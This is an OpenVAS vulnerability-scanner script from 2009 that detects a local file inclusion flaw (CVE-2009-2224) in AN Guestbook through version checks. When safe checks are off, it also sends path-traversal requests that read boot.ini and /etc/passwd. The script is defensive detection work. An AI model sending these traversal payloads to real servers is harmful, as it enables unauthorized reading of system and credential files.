###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_an_guestbook_lfi_vuln.nasl 3174 2009-07-06 09:56:24Z jul $
#
# AN Guestbook Local File Inclusion Vulnerability
#
# Authors:
# Nikita MR <rnikita@secpod.com>
#
# Copyright:
# Copyright (c) 2009 Intevation GmbH, http://www.intevation.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if(description)
{
  script_id(800526);
  script_version("Revision: 1.0");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"risk_factor", value:"Medium");
  script_cve_id("CVE-2009-2224");
  script_bugtraq_id(35486);
  script_name("AN Guestbook Local File Inclusion Vulnerability");
  desc = "

  Overview: This host is running AN Guestbook and is prone to Local File Inclusion
  vulnerability.

  Vulnerability Insight:
  The flaw is due to error in 'g_lang' parameter in 'ang/shared/flags.php' which
  is not properly verified before being used to include files.

  Impact:
  Successful exploitation will let the attacker to include and execute arbitrary
  files from local and external resources, and can gain sensitive information
  about remote system directories when register_globals is enabled.

  Impact level: Application/System

  Affected Software/OS:
  AN Guestbook version 0.7 to 0.7.8

  Fix: Upgrade to AN Guestbook version 1.2.1 or later, 
  For updates refer, http://aguestbook.sourceforge.net/

  References:
  http://www.milw0rm.com/exploits/9013
  http://en.securitylab.ru/nvd/381881.php
  http://www.attrition.org/pipermail/vim/2009-June/002196.html

  CVSS Score:
    CVSS Base Score     : 4.3 (AV:N/AC:M/Au:NR/C:P/I:N/A:N)
    CVSS Temporal Score : 3.9
  Risk factor: Medium";

  script_description(desc);
  script_summary("Check AN Guestbook Version");
  script_category(ACT_MIXED_ATTACK);
  script_copyright("Copyright (C) 2009 Intevation GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_an_guestbook_detect.nasl");
  script_require_ports("Services/www", 80);
  exit(0);
}


include("http_func.inc");
include("version_func.inc");

angPort = get_http_port(default:80);
if(!angPort){
  exit(0);
}

angVer = get_kb_item("www/" + angPort + "/AN-Guestbook");
angVer = eregmatch(pattern:"^(.+) under (/.*)$", string:angVer);

if((angVer[2] != NULL) && (!safe_checks()))
{
  sndReq = http_get(item:string(angVer[2], "/ang/shared/flags.php?g_lang=" +
                             "../../../../../../../boot.ini"), port:angPort);
  rcvRes = http_send_recv(port:angPort, data:sndReq);
  if("boot loader" >< rcvRes)
  {
    security_warning(angPort);
    exit(0);
  }
  sndReq = http_get(item:string(angVer[2], "/ang/shared/flags.php?g_lang=" +
                            "../../../../../../../etc/passwd"), port:angPort);
  rcvRes = http_send_recv(port:angPort, data:sndReq);
  if("root" >< rcvRes)
  {
    security_warning(angPort);
    exit(0);
  }
}

if(angVer[1] != NULL)
{
  if(version_in_range(version:angVer[1], test_version:"0.7", test_version2:"0.7.8")){
    security_warning(angPort);
  }
}
